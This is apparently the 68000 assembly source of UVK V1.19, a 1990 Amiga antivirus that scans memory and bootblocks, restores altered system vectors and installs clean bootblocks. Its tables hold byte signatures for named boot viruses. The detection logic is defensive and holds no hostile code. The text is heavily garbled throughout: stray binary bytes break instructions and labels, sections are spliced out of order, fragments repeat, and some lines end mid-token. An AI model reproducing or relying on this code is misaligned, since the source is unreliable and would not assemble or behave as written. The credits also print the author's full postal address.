cmp.b #":",3(a0) beq.s okrecdp bsr.s specifie rts okrecdp:move.b 2(a0),d0 cmp.b drs,d0 beq.s okdrive cmp.b drd,d0 beq.S okdrive rts okdrive:bsr.L opendev bsr.L protect tst.l goon beq.S endrecord bsr.L drive tst.l goon beq.S endrecord bsr.l writeprg endrecord:rts specifie:move.l #speci,d2 bsr.L ecrire2 bsr.L wait rts load: clr.l notfound move.l #sou,d2 bsr.L ecrire2 BSR.L WAITRET tstL_G324,0 even diskport: dc.l 0 dc.l 0 dc.w $0400 dc.l 0 dc.b 0 dc.b 31 dc.l 0 lh1: dc.l lh2 lh2: dc.l 0 dc.l lh1 dc.b 0 dc.b 0 diskioreq: dc.l 0 dc.l 0 dc.b 5 dc.b 0 dc.l 0 dc.l diskport dc.w 48 dc.l 0 dc.l 0 dc.w 0 dc.w 0 dc.l 0 dc.l 0 dc.l 0 dc.l 0 dc.l 0 dc.l 0 TRKDISK:DC.B "trackdisk.device",0,0 file: blk.b 30,0 scr: blk.b 1024,0 cls: dc.b $0c exoflag:dc.b 0 retfl: dc.b 0,0 convtxt:dc.b "00000000",$a,-1 dosbase:dc.l 0 conhandle:dc.l 0 ;handle fenetre resbasMde:dc.l 0 flag: dc.l 0 key: dc.b 0 buf: dc.b 0 protector:dc.b 0 ;flag protector found rflag: dc.b 0 ;flag resident flagdr: dc.b 0 ;flag external drive notfound:dc.b 0 ;flag file not found goon: DC.b 0 ;flag test disk flagecr:dc.b 0 ;flag ecriresub even buffer: dc.l 0 bufend: dc.l 0 chksum: dc.l 0 ptr: dc.l 0 BUFWR: DC.L 0 ADRVI: DC.L 0 LENVI: DC.L 0 cool: dc.l 0 boots: dc.l 0 MEM: DC.L 0 irqopenlib:dc.l 0 keycpt: dc.l 0 nameprog:dc.l 0 iboot: dc.l 0 inter: dc.l 0 dr1: dc.l 0 dr2:N4  dc.l 0 dr3: dc.l 0 drs: dc.l 0 drd: dc.l 0 wbmsg: dc.l 0 returncode:dc.l 0 para: dc.l 0 lenpara:dc.l 0 try1: dc.l 0 try2: dc.l 0 try3: dc.l 0 param: dc.b "D" dc.b $a paraend: .4/6.1/6.4 & SoundBoot,",$a dc.b " Virus Detector,Deluxe Boot,TriTech 1.0,Utility Boot 2.0,",$a dc.b " Blizzard Protector, ColorBoot, WriterBoot.",$a,$a,$a dc.b $a," Press for main menu.",-1 dosname:dc.b "dos.library",0 diskres:dc.b "disk.resource",0,0 even bootb: dc.b "DOS",0 dc.l $0ff0e48b,$370,KtCRIRE2 BSR.L RAMCHK bsr.l prochk tst.b protector bne.s pasrest bsr.L coolChk pasrest:tst.b retkey bne.s loop MOVE.L #RETT,D2 BSR.L ECRIRE2 BSR.L WAITRET loop: move.l #texte,d2 bsr.L ecrire2 bsr.L keyread move.l #buf,a0 move.b (a0),d0 cmp.b #"7",d0 beq.s end move.l #menlist,a0 menulp: move.b 1(a0),d1 cmp.b d0,d1 beq.s jmpsub move.b 3(a0),d1 cmp.b d0,d1 beq.s jmpsub add.l #8,a0 tst.l (a0) bne.s menulp bra.s loop jmpsub: move.l 4(a0),a1 jsr (a1) br +/a.s loop end: move.l dosbase,a6 move.l conhandle,d1 jsr -36(a6) ;fermer la fenetre jsr -60(a6) move.l d0,d1 move.l #lastmsg,d2 move.l #lastmsgf-lastmsg,d3 jsr -48(a6) move.l $4,a6 move.l dosbase,a1 jsr -414(a6) lea diskioreq,a1 jsr -450(a6) move.l $4,a6 move.l buffer,a1 move.l #1024,d0 jsr -210(a6) moveq #0,d0 ENDK: rts quit: move.l #$fc00d2,$80 trap #0 rts checksum:move.l #sout,d2 bsr.L ecrire2 BSR.L WAITRET bsr.L readtrk CMP.L #1,GOON !ˏ!O BNE.S ENDsum move.l BUFfer,A0 LEA 4(A0),A1 CLR.L (A1) MOVE.w #$00FF,D1 MOVEQ #$00,D0 LPCHK: ADD.L (A0)+,D0 BCC.S JUMP ADDQ.L #1,D0 JUMP: DBF D1,LPCHK not.l d0 MOVE.L D0,(A1) move.l dosbase,a6 move.l #sumt,d2 bsr.L ecrire2 move.l #50,d1 jsr -198(a6) move.l #wr,d2 bsr.L ecrire2 bsr.L writb endsum: rts keypage:move.l #keytxt,d2 bsr.l ecrire2 bsr.L waitret rts credits:move.l #credt,d2 bsr.l ecrire2 bsr.L waitret rts amiguy: move.l #guytxt,d2 bsr.l ecrire2 "4^ bsr.L waitret rts copyb: move.l buffer,a0 move.l boots,a1 move.l #$100,d0 coplp: move.l (a1)+,(a0)+ dbf d0,coplp rts opendrs:move.l $4,a6 clr.l d0 move.b drs,d0 sub.l #$30,d0 lea diskioreq,a1 lea trkdisk,a0 jsr -444(a6) tst.l d0 bne.L end rts opendrd:clr.l d0 move.b drd,d0 opendev:sub.l #$30,d0 move.b d0,d0 move.l $4,a6 lea diskioreq,a1 lea trkdisk,a0 jsr -444(a6) tst.l d0 bne.L end rts chkboot:bsr.l readtrk CMP.L #1,GOON BNE.S ENDcboot move.l buffer,a IZ80 lea bootlist,a1 bspelp: move.l (a1),d0 move.l 0(a0,d0.l),d1 cmp.l 4(a1),d1 bne.s nobspe move.l 4(a0,d0.l),d1 cmp.l 8(a1),d1 bne.s nobspe move.l a1,-(a7) move.l #orange,d2 bsr.s ecrire2 move.l #cls2,d2 bsr.s ecrire2 move.l (a7)+,a1 move.l $c(a1),d2 bsr.s ecrire2 move.l #normaL,d2 bsr.s ecrire2 move.l #reco,d2 bsr.s ecrire2 bsr.L waitret rts nobspe: add.l #16,a1 tst.l (a1) bne.s bspelp endcboot:rts ecrire2:move.l d2,a0 clr.l d3 ecrilp: add.l #1,d3 cmp.b #-1,$ݖ move.l $fc0010,d0 cmp.l #$002100c0,d0 bNE.s pask2 lea name,a0 MOVE.L #"K1.2",38(A0) move.l #$fc12fc,148(a6) move.l #$fc06dc,-454(a6) move.l #$fc0a3c,-610(a6) move.l #$fc1430,-406(a6) bra.s contuvk pask2: move.l $fc0010,d0 cmp.l #$00220002,d0 bNE.L endk lea name,a0 MOVE.L #"K1.3",38(A0) move.l #$fc1338,148(a6) move.l #$fc0718,-454(a6) move.l #$fc0a78,-610(a6) move.l #$fc146c,-406(a6) CONTUVK: move.l $4,a6 clr.l d0 lea diskres,a1 jsr -498(a6) move.l d0,resb%M%^ase move.b #$30,drs move.b #$30,drd move.l resbase,a6 move.l #1,flagdr move.l #1,d0 jsr -30(a6) tst.l d0 bne.s tstdr2 clr.l flagdr move.b #$31,drd bra.s pasdr3 tstdr2: move.l #2,d0 jsr -30(a6) tst.l d0 bne.s tstdr3 clr.l flagdr move.b #$32,drd bra.s pasdr3 tstdr3: move.l #3,d0 jsr -30(a6) tst.l d0 bne.s pasdr3 clr.l flagdr move.b #$33,drd pasdr3: tst.l flagdr bne.s passupdr lea drtxt,a0 move.l #"S:DF",6(a0) move.w #"0 ",10(a0) move.l #"D:DF",12(a0) mov c)e.b drd,16(a0) lea movet,a0 move.b drs,25(a0) lea inst,a0 move.b drd,28(a0) lea sout,a0 move.b drs,23(a0) lea dest,a0 move.b drd,32(a0) passupdr:move.l $4,a6 lea dosname,a1 jsr -408(a6) move.l d0,dosbase move.l #$10002,d1 move.l #1024,d0 jsr -198(a6) move.l d0,buffer sub.l a1,a1 jsr -294(a6) lea diskport,a0 move.l d0,16(a0) bsr.L opendrs move.l dosbase,a6 move.l #name,d1 move.l #1005,d2 jsr -30(a6) move.l d0,conhandle MOVE.L #VERIFT,D2 BSR.L EA''q,-1 ramct: dc.b ">SEARCHING THE KNOWN VIRUSES .. ",-1 resct: dc.b ">SEARCHING THE RESIDENTS PRG .. ",-1 exboct: dc.b ">CHECKING EXECBASE OFFSETS .... ",-1 exbict: dc.b ">CHECKING EXECBASE INTERRUPTS . ",-1 okt: dc.b "OK",$a,-1 FOUND: dc.b "FOUND & KILLED",$a,-1 clean: dc.b " NO VIRUS FOUND IN MEMORY",$a,-1 RETT: DC.B $A," PRESS TO CONTINUE",-1 cooT: DC.B $A," MEMORY CLEANED ",$0A,-1 UNKt: dc.b $c,$a,$a," NOTHING SUSPECT ...",$a,-1 SOUt: dc.b $c,$a,$a," INSERT SOURCE IN DF0:"B({ޏ,$a,-1 dest: dc.b $c,$a,$a,$9b,"0 p"," INSERT DESTINATION IN DF0: ",$a,-1 SOU: dc.b $c,$a,$a," INSERT SOURCE ",$a,-1 des: dc.b $c,$a,$a,$9b,"0 p"," INSERT DESTINATION ",$a,-1 kilt: dc.b $a,$a," xit or ill ",$a,-1 protxt: dc.b $c,$a,$a," DISK PROTECTED",$9b,"0 p",$a,-1 ndktxt: dc.b $c,$a,$a," NO DISK IN DRIVE",$9b,"0 p",$a,-1,0 locate: dc.b " Located at ..... : $",-1 intlevt:dc.b " Interrupt Level0 : $",-1 execbtn:dc.b " Execbase -0000 : $",-1 execbtp:dc.b " Execbase +00C)cX00 : $",-1 maxlm: dc.b " MaxLocMem ...... : $",-1 maxem: dc.b " MaxExtMem ...... : $",-1 coldt: dc.b $a," ColdCapture .... : $",-1 coolt: dc.b $a," CoolCapture .... : $",-1 kicktt: dc.b $a," KickTagPtr ..... : $",-1 even name: dc.b "raw:40/5/534/149/UVK V1.19 by AMIGUY (K???-CHIP)",0 even dc.l 0 texte: dc.b $C,$a," ",$9b,"0;33;40mThe Ultimate Virus Killer",0,0 dc.b $9b,"0;31;40m" drtxt: dc.b " ",0 dc.b $a," ",$9b,"0;33;40m-------------------------" dc.b $9D*n'b,"0;31;40m" dc.b $a,$a," Your choice:",$a,$a dc.b " 1> CHECK VIRUS",$a," 2> DISPLAY BOOTBLOCK" dc.b $a," 3> COPY BOOTBLOCK",$a," 4> MOVE BOOTBLOCK " DC.B $A," 5> INSTALL BOOTBLOCK",$A," 6> INFOS" DC.B $A,$A," 7> QUIT",$a,$9b,"0 p",-1 MOVET: DC.B $C,$A," MOVE A BOOTBLOCK (DF0)=BOOT" DC.B $A," ----------------" dc.b $A,$A," 1> BOOTBLOCK TO FILE" DC.B $A," 2> FILE TO BOOTBLOCK" dc.b $a,$a," 3> EXIT",-1 keytxt: dc.b $c,$a," KEYS :",$A," ----",$a,$a dc.b " nalyser : AnalyE+~:se the Bootblock...(V1.0)",$a dc.b " hecksum : Recalculate BootBlock Checksum.",$a DC.B " rives : Exchange source/destination.",$a dc.b " reetings: Thanks to ...",$a dc.b " nfo : About UVK ...",$a dc.b " ey : This page.",$a dc.b " uit : Reset.",$a,-1 credt: dc.b $c,$a,$9b,"0 p" dc.b" I must thank the following people:",$a,$a dc.b" - KOUGAR for the idea of UVK and for giving me the GADAFFI,",$a DC.B" the NORTHSTAR,the BGS9 and the BLACKSTAR virF,=uses,",$a dc.b" - Mr Cupertino for IRQ virus,",$a dc.b" - Evil A for the DISK-DOKTOR virus,",$a dc.b $a," ... and anybody who will send me new viruses !",-1 guytxt: dc.b $c,$a," UVK 1.19 ",$a,$A dc.b " If you enjoy it, if you want the docfile,",$a dc.b " If you want updates (send me new viruses),",$a DC.B " send me a letter to the following address:",$a dc.b $a," AMIGUY",$a," 59 allee des piverts",$a dc.b " Le bois du charme,",$a," 27190 Orvaux",$a dc.b " France",$a G-M8\ dc.b $a," If you find any bugs/new ideas for updates,",$a dc.b " you must contact me too.",$a," See you soon !",$a,-1 even insT: DC.B $C,$A," INSTALL A BOOTBLOCK (DF0)", DC.B $A, " -------------------" dc.b $A,$A," 1> NORMAL DOS",$A," 2> RAM CLEANER V2.0" dc.b $a," 3> SENTINEL V1.0 (Not available now)" dc.b $a," 4> NO FASTMEM",$a," 5> NO DRIVE" dc.b $a," 6> LOW PASS FILTER OFF",$a," 7> IRQ PROTECTOR" dc.b $a," 8> NO BOOT",$A,$A," 9> EXIT",-1 INFT:DC.B $c," UVK knows H.\the following viruses :",$a,$a dc.b " SCA (AEK/LSD/BS1), Byte Bandit (FORPIB), Byte Warrior",$A DC.B " Pentagon Circle, Lamer Exterminator 1-4, Disk-Doktor",$A dc.b " Gadaffi, Northstar, northstar2, IRQ (RAM), Revenge V1.2",$a dc.b " H.C.S 4220, BGS9 (RAM), VKill V1.0, Obelisk, Timebomb.",$a,$a dc.b $a," What UVK can do :",$A DC.B " Check Ram/Disk, Recognize residents Prgs, Clean Ram/Disk,",$a dc.b " Restore/Display altered Vectors, Recalculate Chechsum,",$a DC.B " Analyse a BootcoI/]de, Etc ...",$A,$A dc.b " For Keys info, type 'K'.",$a dc.b " For Amiguy info, type 'I'.",$a,$a dc.b " Press for more info.",-1 inft2:dc.b $c,$a," UVK knows the following BootBlocks :",$a,$a dc.b " BootGirl, CCSBoot V2.0, XCOPY 2.0 Boot, ASS Protector 1.0,",$a dc.b " Mem Controller 1.3, AVIREX, V.D.C 1.3, No Expansion Memory,",$a dc.b " TIP NoFastMem, Gx.Team NoFastMem, Virus Terminator V1.0,",$a dc.b " BootLeg V2.1, I.B BootCopy, Mem Controller 1.2, Megakiller,",$a dc.b" RJ0LMandom Access, Virus Slayer 1.0, Mega-Boot 1.30, Pal Window,",$a dc.b" Dimarz Observer, Dietmar Virus Detector, Sinister Syndicate,",$a dc.b " Pvl Protectors 3.0/4.0/5.1/5.0/5.3/5.4/6.1/6.4 & SoundBoot,",$a dc.b " Virus Detector,Deluxe Boot,TriTech 1.0,Utility Boot 2.0,",$a dc.b " Blizzard Protector, ColorBoot, WriterBoot.",$a,$a,$a dc.b $a," Press for main menu.",-1 dosname:dc.b "dos.library",0 diskres:dc.b "disk.resource",0,0 even bootb: dc.b "DOS",0 dc.l $0ff0e48b,$370,K$$48e7fffe,$33fc094f,$00dff180,$4cdf7fff dc.l $43fa0018,$4eaeffa0,$4a80670a,$20402068,$00167000 dc.l $4e7570ff dc.b $60,$fa,"dos.library",0 dc.b " Installed with UVK V1.19 by AMIGUY",0 blk.b 922,0 NORMB: DC.B "DOS",0 dc.l $C0200F19,$370,$43FA0018,$4EAEFFA0,$4A80670A,$20402068 dc.l $00167000,$4E7570FF DC.B $60,$FA,"dos.library",0 blk.b 974,0 PROTB: blk.b 1024,0 SENTB: blk.b 1024,0 NOFMB: blk.b 1024,0 NODRB: blk.b 1024,0 NOLOB: blk.b 1024,0 NOBOB: BLK.B 1024,0 IRQPB: blk.b 1062 dc.l $18,$ffe843f9,$0007e000,rev,0 prolist:dc.l 550,0018,"Guar",gar2 dc.l 550,-172,"Guar",gar1 dc.l 550,$bb8,"PS V",pseu dc.l 550,$498,"oder",codb dc.l 550,$022,"ROMC",rom7 dc.l 042,$f36,"ROMC",rom4 dc.l 550,-172,"3.0 ",sys30 dc.l 550,-172,"4.0 ",sys40 ; dc.l 550, ,"5.0 ",sys50 dc.l 550,-176,"5.1 ",sys51 dc.l 550,-142,"V5.3",sys53 dc.l 550,-142,"V5.4",sys54 dc.l 550,-130,"V6.1",sys61 dc.l 550,-986,"V6.4",sys64,0 ramlist:dc.l 46,$3e,$41fafff2,$c,0,sca dc.l 550,$3e2,$7348e77f7f,$4c,bank,ban dc.l 550,$14c,"DASA",192,0,war dc.l 46,$4c,$41faffe6,$18,0,pen dc.l 550,$3b8,$790048e7,$30,lam2k,lam dc.l 550,$406,$226e003a,$2a,lam3k,lam dc.l 550,$3be,$45fa0369,$42,lam1k,lam dc.l 550,$3ba,$45fa0365,$42,lam4k,lam dc.l 46,$272,$2c790000,$c,dokk,dok dc.l 46,220,$0007ff14,$d8,gadk,gad dc.l 46,$e,$6d026022,$48,0,nor dc.l 46,$e,$41faffb6,$48,0,bla dc.l 46,$60,$ffe843f9,$18,revk,rev dc.l 46,$6c,$d05951c9,$60,0,obe dc.l 46,$82,$26497000,$40,0,vkill dc.l84?`~ 550,$0,$fffffffe,$5b2,0,bgs9t dc.l 46,$78,$432e0007,$10,0,hcs,0 analist:dc.l $226,mktagp,$fd9c,mksum,$222,mkmemp,46,mcool dc.l 42,mcold,-454,mdoio,148,meint,0 menlist:dc.l " i I",AMIGUY," k K",keypage," c C",checksum dc.l " g G",credits," q Q",quit," d D",exchdr dc.l " 1 1",check," 2 2",display," 3 3",copy dc.l " 4 4",movesub," 5 5",install," 6 6",info dc.l " a A",analyse,0 inslist:dc.l "1",normb,"2",protb,"4",nofmb,"5",nodrb,"6",nolob dc.l "7",irqpb,"8",nobob,0 excexb: dc.l 95-550,-448,-442,-436,-412,-400,-196,0 notins: dc.b " NOT INSTALLED DISK ",-1 kick: dc.b " KICKSTART DISK ",-1 ccsb: dc.b " CCS BOOT 2.0 ",-1 noexpan:dc.b " NO EXPANSION MEMORY BOOT ",-1 girl: dc.b " BOOTGIRL BOOT ",-1 mem12: dc.b " MEMORY CONTROLLER 1.2 ",-1 ASS: dc.b " ASS PROTECTOR 1.0 ",-1 random: dc.b " RANDOM ACCESS BOOT ",-1 nofast: dc.b " NOFASTMEM BOOT ",-1 MEM13: dc.b " MEMORY CONTROLLER 1.3 ",-1 XCOPY: dc.b " XCOPY 2.0 BOOT ",-1 SYS30: dc.b " PvL ANTIVIRUS 3.0 ",-1 sys40: d:6&ec.b " PvL ANTIVIRUS 4.0 ",-1 SYS50: dc.b " PvL ANTIVIRUS 5.0 ",-1 SYS51: dc.b " PvL ANTIVIRUS 5.1 ",-1 SYS53: dc.b " PvL ANTIVIRUS 5.3 ",-1 sys54: dc.b " PvL ANTIVIRUS 5.4 ",-1 sys61: dc.b " PvL ANTIVIRUS 6.1 ",-1 sys64: dc.b " PvL ANTIVIRUS 6.4 ",-1 pvlsnd: dc.b " PvL SOUNDBOOT ",-1 norm: dc.b " NORMAL DOS BOOT ",-1 gxtnf: dc.b " GX.TEAM NOFASTMEM ",-1 botcop: dc.b " INVISIBLE BRAIN BOOTCOPY ",-1 avirex: dc.b " AVIREX BOOT ",-1 virter: dc.b " VIRUS TERMINATOR V1.0 ",-1 palsys: dc.b ;78" PAL WINDOW SYSTEM ",-1 virsla: dc.b " VIRUS SLAYER 1.0",-1 vdc: dc.b " VIRUS DETECTOR CLEANER ",-1 megab: dc.b " MEGA-BOOT 1.30 ",-1 megak: dc.b " MEGA KILLER ",-1 synd: dc.b " SYNDICATE SINISTER ",-1 destr: dc.b " DESTRUCTOR ",-1 diet: dc.b " DIETMAR ROLL DETECTOR ",-1 obse: dc.b " OBSERVER ",-1 deluxe: dc.b " DELUXE BOOT ",-1 tritech:dc.b " TRITECH BOOT V1.0 ",-1 bootwr: dc.b " WRITER BOOT ",-1 colorb: dc.b " COLORBOOT BOOT ",-1 utilb2: dc.b " UTILITY BOOT V2.0 ",-1 blizp: dc.b "<8dɽ BLIZZARD PROTECTOR 1.0 ",-1 bootleg:dc.b " BOOTLEG V2.1 ",-1,0 sca: dc.b " SCA (LSD/AEK/BS1) VIRUS ",-1 BAN: dc.b " BYTE BANDIT VIRUS ",-1 WAR: dc.b " BYTE WARRIOR (DASA) VIRUS ",-1 bla: dc.b " NORTHSTAR2 VIRUS ",-1 pen: dc.b " PENTAGON CIRCLE VIRUS ",-1 lam: dc.b " LAMER EXTERMINATOR 1-4 VIRUS ",-1 dok: dc.b " DISK-DOKTOR VIRUS ",-1 IRQ: dc.b " IRQ VIRUS ",-1 gad: dc.b " GADAFFI VIRUS ",-1 HCS: dc.b " H.C.S VIRUS 4220 ",-1 rev: dc.b " REVENGE V1.2 VIRUS ",-1 nor: dc.b " NORTHSTAR =9ãVIRUS ",-1 bgs9t: dc.b " BGS9 VIRUS ",-1 vkill: dc.b " VKILL V1.0 VIRUS ",-1 timeb: dc.b " TIMEBOMB SYSTEM ",-1 obe: dc.b " OBELISK VIRUS ",-1 gar1: dc.b " GUARDIAN V1.1",-1 gar2: dc.b " GUARDIAN V1.2",-1 pseu: dc.b " PSEUDO OPS VIRUS KILLER 1.6",-1 codb: dc.b " CODER BOARD 4.0",-1 rom7: dc.b " ROMCRACK 0.7",-1 rom4: dc.b " ROMCRACK 0.4",-1 pow2: dc.b " POWER UTILITY 2.0",-1 pow1: dc.b " POWER UTILITY 1.0",-1 atool: dc.b " ATOOL 2.0",-1 analt: dc.b $c,$a," Analysing the Bootblock..>:yv(.",$a,$a,-1 ananoth:dc.b " Nothing suspect ...",-1 usekst: dc.b " Use the KickSumData Routine ",$a,-1 mktagp: dc.b " Modify the KickTag Pointer",$a,-1 mksum: dc.b " Modify the KickSumData vector",$a,-1 mkmemp: dc.b " Modify the KickMem Pointer",$a,-1 mcool: dc.b " Modify the CoolCapture vector",$a,-1 mcold: dc.b " Modify the ColdCapture vector",$a,-1 mdoio: dc.b " Modify the DoIO vector",$a,-1,0,0 meint: dc.b " Modify the ExecBase Interrupt vector",$a,-1 mimm: dc.b " >Mask :?;]Q$ Move.l Imm,d16(a6)",$a,-1 man: dc.b " >Mask : Move.l An,d16(a6)",$a,-1 mclr: dc.b " >Mask : Clr.l d16(a6)",$a,-1 warnb: dc.b $a," WARNING !!! This bootblock may be a virus ! ",-1 orange: dc.b $9b,"0;33;40m",-1 orange2:dc.b $a,$9b,"0;33;40m",-1 return: dc.b $a,-1 normal: dc.b $9b,"0;31;40m",-1 cls2: dc.b $c,$a,$a,$9b,"0 p",-1 delt: dc.b 8," ",8,-1 detect: dc.b "DETECTED",-1 detmem: DC.B " DETECTED IN MEMORY",$a,-1 reco: dc.b "RECOGNIZED",$a,-1 date: dc.b " Release Date : 21@&#B/03/90 ",$a,-1 clrprot:dc.b " lear or eep it in memory ?",$a,-1 notft: dc.b $c,$a,$a,$9b,"0 p"," FILE NOT FOUND",$a,-1 sumt: dc.b $c,$a,$a,$9b,"0 p" dc.b " RECALCULATE BOOTBLOCK CHECKSUM...",$a,-1 wr: dc.b $c,$a,$a,$9b,"0 p"," WRITING NEW CHECKSUM...",$a,-1 namet: dc.b $C,$A,$A," ENTER FILENAME ",$A,$A,$9B," p"," ",-1 speci: dc.b $C,$A,$A," SPECIFY DRIVE ",$A,$A,$9B,"0 p",-1 VERIFT: DC.B $9B,"0 p"," VERIFYING MEMORY ...",$a,$a,-1 resid: dc.b ">CHECKING RESIDENT POINTERS ... "+=mU.l $4,a6 clr.l 46(a6) clr.l 42(a6) lea 34(a6),a0 clr.w d0 moveq #$17,d1 coollp: add.w (a0)+,d0 dbf d0,coollp not.w d0 move.w d0,(a0) nocco: move.l $4,a6 tst.l 550(a6) beq.s okres move.b #0,rflag move.l #kicktt+1,d2 tst.b retfl beq.s rf2 move.l #kicktt,d2 rf2: bsr.L ecrire2 move.l $4,a6 move.l 550(a6),d0 bsr.L conv move.l #convtxt+2,d2 bsr.L ecrire2 tst.b protector bne.s coolend move.l $4,a6 clr.l 546(a6) clr.l 550(a6) jsr -612(a6) move.l d0,554(a6) tst.,>ɛb protector beq.s prokill tst.b rflag bne.s okres prokill:MOVE.L #COOT,D2 BSR.L ECRIRE2 bra.s coolend okres: tst.b rflag beq.s coolend move.l #okt,d2 bsr.L ecrire2 coolend:rts prochk2:move.l #resct,d2 bsr.L ecrire2 move.b #1,protector lea prolist,a1 prolp: move.l $4,a6 move.l (a1),d0 add.l d0,a6 move.l (a6),a4 move.l 4(a1),d0 move.l 0(a4,d0.l),d1 cmp.l 8(a1),d1 bne.s noprot2 move.l #orange2,d2 bsr.L ecrire2 move.l 12(a1),d2 bsr.L ecrire2 move.l #normal,d2 bs-?r.L ecrire2 move.l #detmem,d2 bsr.L ecrire2 bsr.S clrpro rts noprot2:add.l #16,a1 tst.l (a1) bne.s prolp clr.b protector move.l #okt,d2 bsr.L ecrire2 rts clrpro: move.l #clrprot,d2 bsr.L ecrire2 CLRLP: bsr.L keyread move.l #buf,a0 move.b (a0),d0 cmp.l #-1,d0 beq.s clrpro cmp.b #"c",d0 beq.s effpro cmp.b #"C",d0 beq.s effpro bra.S tkk effpro: clr.b protector rts tkk: cmp.b #"k",d0 beq.s endp cmp.b #"K",d0 beq.s endp bra.s clrlp endp: rts exbasec:move.l #ex.@)'boct,d2 bsr.L ecrire2 move.l #-634,d4 move.b #1,exoflag execbc: move.l $4,a6 add.l #6,d4 cmp.l #2,d4 beq.L endexbc move.l 0(a6,d4.l),d1 and.l #$ff0000,d1 cmp.l #$fc0000,d1 beq.s execbc lea excexb,a0 excexlp:cmp.l (a0)+,d4 beq.s execbc tst.l (a0) bne.s excexlp tst.b exoflag beq.s noligne move.l #return,d2 bsr.L ecrire2 move.l $4,a6 noligne:move.b #0,exoflag move.l d4,d2 move.l #$10000,d3 sub.l d2,d3 move.w d3,d0 add.w #2,d0 move.l #execbtn+14,a0 bsr/Aa.L conv2 move.l 0(a6,d4),d0 bsr.L conv move.l #execbtn,d2 bsr.L ecrire2 move.l #convtxt+2,d2 bsr.L ecrire2 bra.L execbc endexbc:tst.b exoflag beq.s exboalt move.l #okt,d2 bsr.L ecrire2 exboalt:rts exbichk:move.l #exbict,d2 bsr.L ecrire2 move.l #88,d4 inteclp:move.l $4,a6 move.l 0(a6,d4),d1 tst.l d1 beq.s noalti and.l #$ff0000,d1 cmp.l #$fc0000,d1 beq.s noalti cmp.l #exbict,d2 bne.s pasretu move.l #return,d2 bsr.L ecrire2 pasretu:move.w d4,d0 move.l #exec0Bvfbtp+14,a0 bsr.L conv2 move.l #execbtp,d2 bsr.L ecrire2 move.l $4,a6 move.l 0(a6,d4),d0 bsr.s conv move.l #convtxt+2,d2 bsr.L ecrire2 noalti: add.l #12,d4 cmp.l #280,d4 bne.s inteclp cmp.l #exbict,d2 bne.s inteend move.l #okt,d2 bsr.L ecrire2 inteend:rts conv: move.l a0,-(a7) move.l #convtxt,a0 move.l #7,d1 clconlp:move.b #$30,(a0)+ dbf d1,clconlp move.l #convtxt,a0 MOVE.L #7,D1 conlp: ROL.L #4,D0 MOVE.L D0,D2 AND.B #15,D0 CMP.B #9,D0 BLE.S conch ADDQ.B #7,D0 1C!pconch: ADD.B #$30,D0 MOVE.B D0,(A0)+ MOVE.L D2,D0 DBRA D1,conlp move.l (a7)+,a0 RTS conv2: divu #1000,d0 ;a0/d0 add.b #$30,d0 move.b d0,(a0)+ clr.w d0 swap d0 divu #100,d0 add.b #$30,d0 move.b d0,(a0)+ clr.w d0 swap d0 divu #10,d0 add.b #$30,d0 move.b d0,(a0)+ clr.w d0 swap d0 add.b #$30,d0 move.b d0,(a0)+ rts bootlist:dc.l $0c,$41fa0196,$0c506f6d,ccsb dc.l $64,$5c9e004a,$b0a0829c,noexpan dc.l $20,$428741fa,$ffe8b1fc,mem12 dc.l $40,$0009001c,$4eaefe38,girl2D[" dc.l $50,$48e7fffe,$337c0009,ass dc.l $60,$02c000df,$f18033fc,sys30 dc.l $60,$0f9000df,$f18033fc,sys40 dc.l $398,$802c332e,$3020802c,sys50 dc.l $6c,$0226671a,$0cae0007,sys51 dc.l $1b0,$000000f0,$00f00000,sys53 dc.l $1b0,$0eca00f0,$00f00eca,sys54 dc.l $78,$2c780004,$42ae002e,sys61 dc.l $1b0,$0ca90000,$04000024,sys64 dc.l $0C,$43FA00F4,$4EAEFFA0,nofast dc.l $0c,$0c6e0020,$00146f00,random dc.l $0c,$43fa0136,$70004eae,xcopy dc.l $20,$42862a3c,$0027f000,mem13 dc.l $143Eڴ \,$48e7fffe,$237c0005,gxtnf dc.l $18,$00804e40,$46fc2700,botcop dc.l $10,$4eba0036,$4cdf7fff,avirex dc.l $14,$0004202e,$02260c80,virter dc.l $18,$000a0016,$66000036,vdc dc.l $02,$4b49,$0,kick dc.l $10,$0,$0,notins dc.l $0c,$2c780004,$41fa00b2,bootleg dc.l $48,$00ff20d9,$51cffffc,palsys dc.l $150,$feb043f9,$007fa00,virsla dc.l $60,$43fa00bc,$4eaefe68,megak dc.l $30,$3b7c0f00,$01806000,megab dc.l $20,$2c790000,$00044eae,diet dc.l $10,$0c6e0020,$00146f00,synd dc.l $10,$027a4F;6704,$4eec0014,obse dc.l $30,$00326618,$4aae0226,destr dc.l $34,$223c0001,$0002203c,deluxe dc.l $40,$23c900df,$f08033c0,pvlsnd dc.l $6a,$48e7fffe,$42b90000,tritech dc.l $1e,$2c562c56,$23ce0006,utilb2 dc.l $34,$33fc8380,$00dff096,bootwr dc.l $18,$41f900df,$f000317c,colorb dc.l $3a,$3e3c00f0,$202e002e,blizp dc.l $0c,$43fa0018,$4eaeffa0,norm,0 virlist:dc.l $0c,$41fafff2,$43f90007,sca dc.l $4c,$48e77f7f,$2c780004,BAN dc.l $c0,$44415341,$3081323c,war dc.l $18,$41faffe6,$43f90051>07,PEN dc.l $0c,$2c790000,$00044eae,dok dc.l $48,$6d026022,$41faffb2,nor dc.l $48,$41faffb6,$43f90007,bla dc.l $42,$343c0352,$d310b118,lam ;lamer2 dc.l $42,$45fa0369,$1012b118,lam ;'lamer' dc.l $42,$45fa0365,$1012b118,lam ;'lamer4' dc.l $1a,$123a03d3,$343c03c4,lam ;lamer3 dc.l $d8,$0007ff14,$61000008,gad dc.l $10,$432e0007,$ec24661c,hcs dc.l $38,$45faffc6,$226e003a,vkill dc.l $20,$4ef90007,$00260639,timeb dc.l $20,$303c00ff,$22d851c8,obe dc.l $10,$432e0007,$ec24661c,hcs H`^) beq.s okrecd bsr.s specifie rts okrecd: cmp.b #"F",1(a0) beq.s okrecf cmp.b #"f",1(a0) beq.s okrecf bsr.s specifie rts okrecf: cmp.b #":",3(a0) beq.s okrecdp bsr.s specifie rts okrecdp:move.b 2(a0),d0 ;x = drive connecte ? cmp.b drs,d0 beq.s okdrive cmp.b drd,d0 beq.S okdrive rts okdrive:bsr.L opendev ;open drive sour bsr.L protect ;test 'write protected' tst.b goon beq.S endrecord bsr.L drive ;test 'disk in drive' tst.b goon beq.S endrecord bsr!IOr.L writeprg ;fin de move endrecord:rts specifie:move.l #speci,d2 ;text 'specify drive' bsr.L ecrire2 bsr.L wait rts load: clr.b notfound ;test 'file not found' move.l #sou,d2 bsr.L ecrire2 BSR.L WAITRET tst.b flagdr ;test '2 drives mode' beq.s ldpont 